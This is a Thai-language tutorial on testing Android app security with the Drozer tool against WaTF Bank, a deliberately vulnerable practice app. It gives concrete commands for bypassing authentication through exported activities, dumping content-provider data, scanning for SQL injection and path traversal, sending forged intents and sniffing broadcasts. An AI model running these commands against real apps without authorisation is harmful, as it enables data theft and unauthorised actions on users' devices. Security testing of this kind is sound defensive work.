top of page

Mobile Security Testing ทดสอบความปลอดภัย Android ด้วย Drozer

  • Thammanant Thamtaranon
  • 1 นาทีที่ผ่านมา
  • ยาว 2 นาที

ในกระบวนการทดสอบความปลอดภัยของแอปพลิเคชัน Android เครื่องมือที่มีความสำคัญและได้รับการยอมรับอย่างสูงคือ Drozer โดยมีความแตกต่างจากเครื่องมือทดสอบทั่วไปเนื่องจาก Drozer ทำงานในลักษณะ Agent-based ซึ่งมีการติดตั้ง Agent App ลงบนอุปกรณ์จริง เพื่อสร้างการเชื่อมต่อผ่าน TCP port 31415 วิธีการนี้ช่วยให้ผู้ทดสอบสามารถจำลองมุมมองและสิทธิ์การเข้าถึงได้เสมือนกับแอปพลิเคชันอันตราย (Malicious App) ที่รันอยู่บนอุปกรณ์นั้นจริงๆ


Android Component และ Attack Surface สำหรับ Mobile Security Testing ด้วย Drozer

ก่อนการใช้งาน Drozer ผู้ทดสอบจำเป็นต้องเข้าใจก่อนว่า Android app ประกอบด้วย component หลัก 4 ตัวคือ Activity, Service, Content Provider และ Broadcast Receiver ประเด็นสำคัญด้านความปลอดภัยเกิดขึ้นเมื่อส่วนประกอบเหล่านี้ถูกตั้งค่าเป็น "Exported" ซึ่งอนุญาตให้แอปพลิเคชันภายนอกสามารถเรียกใช้งานได้โดยตรง หากนักพัฒนา export แล้วลืมใส่ permission check ที่ดีพอ ส่วนประกอบเหล่านี้จะกลายเป็นช่องทางหลักในการโจมตี หรือที่เรียกว่า Attack Surface ซึ่ง Drozer จะช่วยในการระบุและพิสูจน์ช่องโหว่ดังกล่าว


ขั้นตอนการติดตั้งและการเชื่อมต่อระบบ

สำหรับการติดตั้งบนเครื่องคอมพิวเตอร์ผู้ทดสอบ แนะนำให้ใช้งานผ่าน pipx เพื่อแยก Environment ให้เป็นสัดส่วน

pipx install drozer
pipx ensurepath
source ~/.zshrc

ในส่วนของอุปกรณ์เป้าหมาย ให้ทำการติดตั้ง Drozer Agent APK จากแหล่งข้อมูลทางการ และเปิดการใช้งาน Embedded Server รูปแบบการเชื่อมต่อ


Mobile security Testing drozer

1.      ผ่าน Wi-Fi

drozer console connect --server <IP ของโทรศัพท์>

 

2.      ผ่านสาย USB

adb forward tcp:31415 tcp:31415
drozer console connect
Mobile security Testing drozer

Enumeration ขั้นตอนการค้นหาข้อมูลรายละเอียดของเป้าหมาย

ขั้นตอนแรกของการทดสอบคือการระบุ Package Name ของแอปพลิเคชันที่ต้องการตรวจสอบ ได้ดังนี้

run app.package.list -f <Keyword>
เช่น
run app.package.list -f bank 
Mobile security Testing drozer

เมื่อทราบชื่อ Package แล้ว สามารถตรวจสอบข้อมูลเชิงลึก เช่น สิทธิ์การเข้าถึง (Permissions) เส้นทางจัดเก็บข้อมูล (Data Directory) และการตั้งค่า configuration ต่างๆ ได้ดังนี้

run app.package.info -a <Package_Name>
เช่น
run app.package.info -a com.WaTF.WaTFBank 

Mobile security Testing drozer

นอกจากนี้ ควรตรวจสอบว่ามีการเปิดโหมด Debuggable ทิ้งไว้ใน Production หรือไม่ เนื่องจากถือเป็นข้อบกพร่องด้านความปลอดภัยที่ร้ายแรง

run app.package.debuggable

 

Attack Surface Analysis

ผู้ทดสอบสามารถวิเคราะห์ภาพรวมของ Exported Components ได้ด้วยคำสั่ง

run app.package.attacksurface <Package_Name>
เช่น
run app.package.attacksurface com.WaTF.WaTFBank
Mobile security Testing drozer

จากนั้นจึงดำเนินการตรวจสอบรายละเอียดในแต่ละส่วนประกอบ

run app.activity.info -a <Package_Name>
run app.provider.info -a <Package_Name>
run app.broadcast.info -a <Package_Name>
เช่น
run app.activity.info -a com.WaTF.WaTFBank
run app.provider.info -a com.WaTF.WaTFBank
run app.broadcast.info -a com.WaTF.WaTFBank
Mobile security Testing drozer

Component Testing

ตัวอย่างในบทความนี้ใช้ WaTF Bank (What a Terrible Failure Bank) ซึ่งเป็นแอปพลิเคชันธนาคารที่ออกแบบมาให้มีช่องโหว่โดยเจตนา เพื่อใช้ในการฝึกทดสอบความปลอดภัยโดยเฉพาะ ไม่ควรนำวิธีการเหล่านี้ไปใช้กับแอปพลิเคชันจริงโดยไม่ได้รับอนุญาต


1. การทดสอบ Activity (Unauthorized Access)

หาก Activity ถูกตั้งค่า Exported โดยไม่มีการควบคุมสิทธิ์ ผู้โจมตีอาจสามารถเรียกใช้งานหน้าจอเหล่านั้นได้โดยตรงเพื่อข้ามขั้นตอนการพิสูจน์ตัวตน (Authentication Bypass)

run app.activity.start --component <Package_Name> <Activity_Name>
เช่น
run app.activity.start --component com.WaTF.WaTFBank com.WaTF.WaTFBank.Login

2. การทดสอบ Content Provider (Data Leakage)

Content Provider มักพบข้อบกพร่องจากการตั้งค่าที่อนุญาตให้แอปพลิเคชันภายนอกเข้าถึงฐานข้อมูลได้ ผู้ทดสอบสามารถตรวจสอบเส้นทางเข้าถึงข้อมูล (URI) และทำการคัดลอกข้อมูลออกมาเพื่อวิเคราะห์

run app.provider.finduri <Package_Name>
run app.provider.query <URI_Path>
เช่น
run app.provider.finduri com.WaTF.WaTFBank
run app.provider.query content://com.WaTF.WaTFBank.FavoriteAccountProvider/
Mobile security Testing drozer

รวมถึงการทดสอบช่องโหว่ประเภท SQL Injection และ Path Traversal

run scanner.provider.injection -a <Package_Name>
run scanner.provider.traversal -a <Package_Name>
เช่น
run scanner.provider.injection -a com.WaTF.WaTFBank
run scanner.provider.traversal -a com.WaTF.WaTFBank 
Mobile security Testing drozer

3. การทดสอบ Broadcast Receiver (Intent Manipulation & Intent Sniffing)


3.1 Intent Manipulation

หาก Receiver ไม่มีการตรวจสอบสิทธิ์ (Permission Check) ผู้โจมตีสามารถส่ง Intent เข้าไปเพื่อสั่งการฟังก์ชันภายในแอปพลิเคชันได้โดยตรง โดยผู้ทดสอบต้องระบุ --action และค่า --extra ให้ครบถ้วนตามที่แอปพลิเคชันกำหนดไว้

run app.broadcast.send --component <Package_Name> <Receiver_Name> --action <Action> --extra string <Key> <Value>
เช่น
run app.broadcast.send --component com.WaTF.WaTFBank com.WaTF.WaTFBank.Receiver --action com.WaTF.WaTFBank.SEND_SMS --extra string tel 0822222222 --extra string username jacob --extra string toAccount 2222222222 --extra string amount 1000

หมายเหตุ: Receiver ของแอปนี้มีหน้าที่เพียงส่ง SMS เท่านั้น ไม่ได้เชื่อมต่อกับระบบโอนเงิน ดังนั้นยอดเงินในแอปจะไม่เปลี่ยนแปลงจากการทดสอบนี้

 

3.2 Intent Sniffing

หากแอปพลิเคชันส่ง Broadcast แบบ Implicit (ไม่ระบุ Destination Package) และไม่มีการกำหนด Permission ที่รัดกุม แอปพลิเคชันอื่นในเครื่องจะสามารถดักฟัง (Sniff) ข้อมูลที่ถูกส่งออกมาได้แบบ Real-time

run app.broadcast.sniff --action <Action>
เช่น
1. run app.broadcast.sniff --action com.WaTF.WaTFBank.SEND_SMS
2. ทดลองทำธุรกรรมโอนเงินภายในแอป WaTFBank
3. Drozer จะแสดงค่าที่ถูกส่งออกมา เช่น username, tel, toAccount และ amount บนหน้าจอ Console ทันที

 

Mobile security Testing drozer

บทสรุปและข้อเสนอแนะ

Drozer เป็นเครื่องมือที่มีประสิทธิภาพสูงในการตรวจวิเคราะห์ช่องโหว่ระดับโครงสร้างของแอปพลิเคชัน Android อย่างไรก็ตาม การทดสอบความปลอดภัยที่สมบูรณ์จำเป็นต้องอาศัยการวิเคราะห์ร่วมกับปัจจัยอื่น เช่น Business Logic และความปลอดภัยในส่วนของ Server-side API

การใช้งาน Drozer ในการทดสอบ Mobile Security Testing อย่างเชี่ยวชาญจะช่วยให้นักพัฒนาและผู้เชี่ยวชาญด้านความปลอดภัยสามารถปิดช่องโหว่ที่เกิดขึ้นจาก Misconfiguration ได้อย่างมีประสิทธิภาพก่อนที่แอปพลิเคชันจะถูกนำไปใช้งานจริง

 

อ้างอิง:


 
 
bottom of page